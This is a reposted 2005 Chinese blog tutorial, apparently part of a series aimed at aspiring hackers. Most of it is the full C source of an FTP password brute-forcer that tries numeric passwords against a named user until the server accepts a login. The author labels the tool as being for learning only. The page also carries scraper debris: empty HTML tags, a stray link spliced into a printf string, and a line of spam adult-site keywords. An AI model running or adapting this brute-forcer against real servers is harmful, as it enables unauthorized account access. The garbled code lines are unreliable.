• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • hacker成長的代碼之路:窮舉(2)

    發表于:2007-07-04來源:作者:點擊數: 標簽:
    作者:kf_701 寫作時間:2005/4 Email:kf_701@21cn.com 轉載請保留原作者信息,謝謝。 要求的專業知識: 一: 精通OSI參考模型,精通 網絡 五層:物理層,數據鏈路層, 網絡 層,傳輸層,應用層。 精通每一層的協議,數據報格式。精通 網絡 拓撲結構,第一層
                    作者:kf_701  寫作時間:2005/4  Email:kf_701@21cn.com
                    轉載請保留原作者信息,謝謝。


    要求的專業知識
            一:    精通OSI參考模型,精通網絡五層:物理層,數據鏈路層,網絡層,傳輸層,應用層。
                    精通每一層的協議,數據報格式。精通網絡拓撲結構,第一層,第二層,第三層的網
                    絡互聯,數據的轉發和路由等。
            二:    精通C語言程序設計,UNIX/LINUX程序設計,網絡程序設計。熟悉UNIX/LINUX系
                    統操作,熟悉著名服務的基本配置,特性及使用的端口號。熟悉經典網絡命令的使用,
                    如:netstat,ping,traceroute,netcat,arp等。
            三:    精通標準SQL語言,熟悉流行的數據庫使用,如:Oracle,Mysql等。掌握數據庫與
                    WEB語言的結合使用。

        昨天說了窮舉算法,今天就用它來做一個可以用的程序,FTP窮舉。
        如果讀者你看過FTP源碼,或在別的書上看到過FTP源碼介紹,就應該知道,FTP命令
    和應答都以"\r\n"結尾,知道這一點是重要的。
        我想只是寫一個示例性的程序,也就沒有考濾它的實用了。所以用一個socket,與FTP
    服務器建立連接,然后用窮舉得到的密碼序列,依次嘗試LOGIN,直到成功。
        程序沒有什么技巧,只要了解FTP返回碼的含義就可。都是331,230,550等。
        用到了getopt函數,用來指定命令行參數的。

        我想說:如果你想成為一個Hacker,這里指的是真正的高手,并不是那些只會用幾個黑
    軟的不長進的類別,那么我建議你學習UNIX,現在有可得源碼的linux,何樂而不用呢?
    linux里有所有服務的可得的源碼,讀源碼是長進的最好的辦法。

         1  /*
         2   * Author:       kf_701
         3   * Email :       kf_701@21cn.com
         4   * 2005/3/21 hefei
         5   * ahau.edu
         6   *
         7   * Introduction:
         8   *     本程序主要用于 FTP密碼探測,
         9   * 根據給定的username,使用窮舉算法
        10   * 反復嘗試login!
        11   *     此程序僅用來學習編程之用!
        12   *
        13   *    ***kfprobe.c***
        14   */
        15
        16  #include<stdio.h>
        17  #include<sys/socket.h>
        18  #include<unistd.h>
        19  #include<errno.h>
        20  #include<string.h>
        21  #include<sys/types.h>
        22  #include<netinet/in.h>
        23  #include<signal.h>
        24  #include<netdb.h>
        25  #include<stdlib.h>
        26  #include<arpa/inet.h>
        27
        28  #define CMD_BUF_SIZE    255
        29  #define MIN_BIT         9
        30  #define MAX_BIT         16
        31
        32  /*basename(argv[0])*/
        33  extern char *__progname;
        34
        35  char dict[]="1234567890";
        36  int sockfd;
        37
        38  char cmd_buffer[CMD_BUF_SIZE +1];
        39  char cmd_line[CMD_BUF_SIZE +1];
        40
        41  static int login(char* user, char* pass);
        42  static int send_command(char* cmd);
        43  static int recv_answer(int store);
        44  static ssize_t my_raw_read(char* buf, size_t n, int sc);
        45  static ssize_t my_raw_write(const char* buf, size_t n, int sc);
        46  static void help(void);
        47
        48  int main(int argc,char **argv)
        49  {
        50          char *user="anonymous";
        51          /*char *pass=0; */
        52
        53          struct hostent *host;
        54
        55          long dictcount=sizeof(dict);
        56          char password[MAX_BIT+2];
        57          long index[MAX_BIT];
        58          long nlength=MIN_BIT;
        59          register long j,i=0;
        60          int b_next;
        61
        62          printf("kf_701 ftp password probe 1.1 ,welcome to you .\n");
        63
        64  /** deal with argv of main and init some variables **/
        65
        66  #ifndef HAVE__PROGNAME
        67  __progname = argv[0];
        68  #endif
        69
        70          int c;
        71          while((c = getopt(argc,argv,"hu:")) != EOF)
        72          {
        73                  switch(c)
        74                  {
        75                          case 'h':
        76                                  help();
        77                          case 'u':
        78                                  user=optarg;
        79                                  break;
        80                          default:
        81                                  fprintf(stderr,"%c:not implemented,type -h for help\n",c);
        82                                  exit(1);
        83                  }
        84          }
        85          if(user == "anonymous")
        86          {
        87                  printf("please suply a user name for login,type -h for help\n");
        88                  exit(0);
        89          }
        90          argc -= optind;
        91          argv += optind;
        92          if(argc != 1)
        93          {
        94                  fprintf(stderr,"Usage: %s [options] <hostname|address>\n",__progname);
        95                  exit(0);
        96          }
        97
        98  /** Create a socket and connect to server **/
        99          struct sockaddr_in sa;
       100          bzero(&sa,sizeof(struct sockaddr));
       101          sa.sin_family = AF_INET;
       102          sa.sin_port = htons(21);
       103          if(inet_aton(argv[0],&sa.sin_addr) == 0)
       104          {
       105                  host = gethostbyname(argv[0]);
       106                  if(host == NULL)
       107                  {
       108                          fprintf(stderr,"Hostname Error: %s \n",hstrerror(h_errno));
       109                          exit(1);
       110                  }
       111                  sa.sin_addr = *(struct in_addr *)(host->h_addr_list[0]);
       112          }
       113          sockfd = socket(AF_INET,SOCK_STREAM,0);
       114          if(sockfd == -1)
       115          {
       116                  perror("Create Socket Error");
       117                  exit(1);
       118          }
       119          if(connect(sockfd,(struct sockaddr *)&sa,sizeof(sa)) == -1)
       120          {
       121                  perror("Connect Error");
       122                  exit(1);
       123          }else{
       124                  recv_answer(0);
       125          }
       126
       127
       128  /** Create sequences from dict to try login server **/
       129          while(nlength<=MAX_BIT)
       130          {
       131                  for(i=0;i<MAX_BIT;i++)
       132                          index[i]=0;
       133
       134                  b_next=1;
       135                  while(b_next)
       136                  {
       137                          for(i=0;i<nlength;i++)
       138                                  password[i]=dict[index[i]];
       139
       140                          password[i]='';               /*here we get one of sequences*/
       141                          printf("%s %s \n",user,password);
       142                          if(login(user,password)){       /*try to login*/
       143                                  printf("Congratulations! Login suclearcase/" target="_blank" >ccessfully! \n");
       144                                  exit(0);
       145                          }
       146
       147                          for(j=nlength-1;j>=0;j--)
       148                          {
       149                                  index[j]++;
       150                                  if(index[j]!=dictcount-1)
       151                                          break;
       152                                  else
       153                                  {
       154                                          index[j]=0;
       155                                          if(j==0)
       156                                                  b_next=0;
       157                                  }
       158                          }
       159                  }
       160                  nlength++;
       161          }
       162
       163
       164  /** I am sorry ,Maybe you will do it tomorrow **/
       165          printf("I am sorry,Maybe you will do it tomorrow!\n");
       166          exit(0);
       167  }
       168
       169  static int login(char* user, char* pass)
       170  {
       171    int rv = 0;
       172    bzero(cmd_buffer,CMD_BUF_SIZE);
       173    snprintf(cmd_buffer, CMD_BUF_SIZE, "USER %s\r\n", user);
       174    if (send_command(cmd_buffer) != 331) return 0;
       175    bzero(cmd_buffer,CMD_BUF_SIZE);
       176    snprintf(cmd_buffer, CMD_BUF_SIZE, "PASS %s\r\n", pass);
       177    if (send_command(cmd_buffer) == 230) rv = 1;
       178    return rv;
       179  }
       180
       181  static int send_command(char* cmd)
       182  {
       183    size_t len, rv = 0;
       184    len = strlen(cmd);
       185    if (my_raw_write(cmd, len, sockfd) < 0)
       186            return 0;
       187    else
       188          rv = recv_answer(0);
       189    return rv;
       190  }
       191
       192  static int recv_answer(int store)
       193  {
       194    int code;
       195    char str_code[] = { 0, 0, 0, ' ', 0 };
       196    if(my_raw_read(cmd_line, CMD_BUF_SIZE,sockfd) < 3)
       197            return 0;
       198    strncpy(str_code, cmd_line, 3);
       199    sscanf(str_code, "%i", &code);
       200    return code;
       201  }
       202
       203  static ssize_t my_raw_read(char* buf, size_t n, int sc)
       204  {
       205    return recv(sc, buf, n, 0);
       206  }
       207
       208  static ssize_t my_raw_write(const char* buf, size_t n, int sc)
       209  {
       210    return send(sc, buf, n, 0);
       211  }
       212
       213  static void help()
       214  {
       215           printf("\
       216  -----------------------------------\n\
       217  usage: %s [options] <hostname|address>\n\
       218  -u: specify a user name for login\n\
       219  -h: show this help \n\
       220  ------------------------------------\n\
       221  writed by kf_701 2005/3/21\n\
       222  Email: kf_701@21cn.com\n\
       223  -------------------------------------\n\
       224  ",__progname);
       225           exit(0);
       226  }

    *********待續**********
    更多內容請進:http://blog.chinaunix.net/index.php?blogId=3063

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>